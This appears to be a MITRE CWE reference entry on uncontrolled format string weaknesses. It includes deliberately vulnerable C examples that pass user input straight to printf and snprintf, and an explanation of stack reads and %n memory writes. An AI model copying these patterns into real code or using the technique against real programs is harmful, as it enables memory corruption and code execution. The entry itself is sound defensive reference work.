Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThe programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.
ImplementationIn cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Perl (Rarely Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following program prints a string provided as an argument.

(bad code)
Example Language:
#include <stdio.h>

void printWrapper(char *string) {

printf(string);
}

int main(int argc, char **argv) {

char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);
}

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.


Example 2

The following code copies a command line argument into a buffer using snprintf().

(bad code)
Example Language:
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.


Example 3

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

(bad code)
Example Language:
printf("%d %d %1$d %1$d\n", 5, 9);

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.


+ Observed Examples
ReferenceDescription
format string in Perl program
format string in bad call to syslog function
format string in bad call to syslog function
format strings in NNTP server responses
Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.
Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Warning Flags

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Logging
  • Error Handling
  • String Processing
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

This weakness is possible in any programming language that support format strings.

Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERFormat string vulnerability
7 Pernicious KingdomsFormat String
CLASPFormat string problem
CERT C Secure CodingFIO30-CExactExclude user input from format strings
CERT C Secure CodingFIO47-CCWE More SpecificUse valid format strings
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
WASC6Format String
The CERT Oracle Secure Coding Standard for Java (2011)IDS06-JExclude user input from format strings
SEI CERT Perl Coding StandardIDS30-PLExactExclude user input from format strings
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-134
+ References
[REF-116] Steve Christey. "Format String Vulnerabilities in Perl Programs". <https://seclists.org/fulldisclosure/2005/Dec/91>. URL validated: 2023-04-07.
[REF-117] Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". <https://drdobbs.com/security/programming-language-format-string-vulne/197002914>. URL validated: 2023-04-07.
[REF-118] Tim Newsham. "Format String Attacks". Guardent. 2000-09-09. <http://www.thenewsh.com/~newsham/format-string-attacks.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Format String Bugs" Page 147. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 6: Format String Problems." Page 109. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C Format Strings", Page 422. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-134. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Name, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Functional_Areas, Likelihood_of_Exploit, Other_Notes, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Common_Consequences, Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2015-12-07Uncontrolled Format String
Page Last Updated: July 07, 2024